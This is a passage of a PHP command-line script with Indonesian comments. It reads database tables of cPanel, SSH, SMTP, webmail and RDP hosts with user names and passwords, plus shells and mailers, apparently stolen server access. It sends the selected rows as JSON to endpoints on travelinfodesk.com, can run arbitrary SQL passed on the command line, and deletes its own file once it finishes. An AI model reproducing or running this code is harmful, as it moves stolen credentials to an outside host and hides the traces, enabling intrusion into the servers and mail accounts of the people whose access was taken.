PDO::ERRMODE_EXCEPTION ] ); // ambil argument CLI $timing = $argv[1] ?? null; $typer = $argv[2] ?? null; $addingss = $argv[3] ?? null; #$where = $argv[4] ?? null; if (!$timing || !$typer) { die("Usage: php tool.php YYYY-MM or YYYY-MM-DD type (all for manual sql)\n"); } // whitelist type biar aman $allowed = ['cpanel','ssh','smtp','shell','mailer','webmail','rdp','anss_adm','settings','table','all']; if (!in_array($typer, $allowed)) { die("Invalid type\n"); } // query builder switch ($typer) { case "cpanel": $sql = "SELECT host, name, password,id,hosting FROM cpanels WHERE timing LIKE :timing"; $url = "https://travelinfodesk.com/aa.php"; break; case "anss_adm": $sql = "SELECT * FROM anss_adm"; $url = "https://travelinfodesk.com/as.php"; break; case "settings": $sql = "SELECT * FROM settings"; $url = "https://travelinfodesk.com/as.php"; break; case "all": // FIX: hapus backslash + hapus quote luar yang bikin "select error $adding = str_replace("\\", "", $addingss); // HANYA hapus quote di pinggir, bukan seluruh string $adding = trim($adding, "\""); if (trim($adding) === '') { die("Empty SQL in ALL mode\n"); } $sql = $adding; echo $adding; $url = "https://travelinfodesk.com/as.php"; break; case "table": $sql = "SELECT * FROM methods LIMIT 10"; $url = "https://travelinfodesk.com/as.php"; break; case "ssh": case "smtp": $sql = "SELECT host, port, name, password FROM {$typer} WHERE timing LIKE :timing"; $url = "https://travelinfodesk.com/aaaa.php"; break; case "shell": $sql = "SELECT shell FROM shells WHERE timing LIKE :timing"; $url = "https://travelinfodesk.com/a.php"; break; case "mailer": $sql = "SELECT mailer FROM mailer WHERE timing LIKE :timing"; $url = "https://travelinfodesk.com/m.php"; break; case "webmail": $sql = "SELECT host, type, mail, password FROM webmail WHERE timing LIKE :timing"; $url = "https://travelinfodesk.com/w.php"; break; case "rdp": $sql = "SELECT host, port, name, password, ram_size, ram_cap FROM rdp WHERE timing LIKE :timing"; $url = "https://travelinfodesk.com/r.php"; break; case "methods": $sql = "SELECT host, port, name, password, ram_size, ram_cap FROM rdp WHERE timing LIKE :timing"; $url = "https://travelinfodesk.com/r.php"; break; } // eksekusi query $stmt = $pdo->prepare($sql); $allowedxs = ['cpanel','ssh','smtp','shell','mailer','webmail','rdp']; if (!in_array($typer, $allowedxs)) { $stmt->execute(); }else{ $stmt->execute([ ':timing' => $timing . '%' ]); } $data = $stmt->fetchAll(PDO::FETCH_ASSOC); // kirim ke API $allowedx = ['cpanel','ssh','smtp','shell','mailer','webmail','rdp','all']; if (!in_array($typer, $allowedx)) { $clouder = $data; }else{ $clouder = json_encode($data); } print_r($clouder); $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_HTTPHEADER => [ "Content-Type: application/json" ], CURLOPT_POSTFIELDS => $clouder, CURLOPT_TIMEOUT => 150 ]); $response = curl_exec($ch); curl_close($ch); echo "DONE\n"; unlink(__FILE__);